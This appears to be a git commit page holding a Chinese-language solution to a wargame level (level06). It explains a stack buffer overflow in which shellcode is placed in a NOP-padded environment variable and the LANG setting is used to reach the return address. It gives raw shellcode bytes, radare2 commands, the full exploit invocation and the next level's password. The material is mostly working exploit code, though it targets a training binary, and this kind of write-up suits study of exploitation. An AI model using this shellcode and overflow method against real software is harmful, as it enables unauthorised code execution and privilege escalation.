summaryrefslogtreecommitdiff
path: root/level06
diff options
context:
space:
mode:
authorIru Cai <mytbk920423@gmail.com>2018-10-05 17:41:48 +0800
committerIru Cai <mytbk920423@gmail.com>2018-10-05 17:41:48 +0800
commit62d1287693cbb282570c52f44bfcc0be0e590d7f (patch)
tree92261652f6ae3a139a8c36bdf0caf3182ed79c51 /level06
downloadiogame-62d1287693cbb282570c52f44bfcc0be0e590d7f.tar.xz
level 1~7, shellcode
Diffstat (limited to 'level06')
-rw-r--r--level0622
1 files changed, 22 insertions, 0 deletions
diff --git a/level06 b/level06
new file mode 100644
index 0000000..9e18250
--- /dev/null
+++ b/level06
@@ -0,0 +1,22 @@
+考虑到栈地址随机化,而
+struct UserRecord{
+ char name[40];
+ char password[32];
+ int id;
+};
+只有72字节的空间可供攻击者填写,因此考虑将shellcode置于环境变量中。
+经过调试发现,环境变量放在 0xc0000000 之前的区域中,假设原环境变量共有 X 字节,则只要在环境变量中写一段 ``X字节nop + shellcode + X字节nop``,把栈溢出的返回地址改写为
+0xc0000000 - 2X - size(shellcode),那么便可以执行环境变量中的 shell code. 通过 ``env | wc -c`` 可看出环境变量小于 512 字节,让 X 为 512 即可。
+此外 greeting 到 ebp 处的距离为 0x48 字节,加上 old ebp 和返回地址为 0x50 = 80 字节,而我们只能往 UserRecord 写 72 字节,因此需要将 LANG 设为 fr 或 de 使得 greeting 开头更长一些。
+
+r2 malloc://2048
+[0x00000000]> 512 wxs 90
+[0x00000200]> wxs 31c004c9cd8089c389c189c231c004d0cd8031c0040bbb1f43583081f33030303053682f62696e89e331c931d2cd80
+[0x0000022f]> 512 wxs 90
+[0x0000042f]> wtf /tmp/shell.bin 0x42f @ 0
+
+export A=`cat /tmp/shell.bin`
+export LANG=de
+/levels/level06 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `printf '0123456789012345678901234\xc0\xfb\xff\xbfaaaaa'`
+
+level07 U3A6ZtaTub14VmwV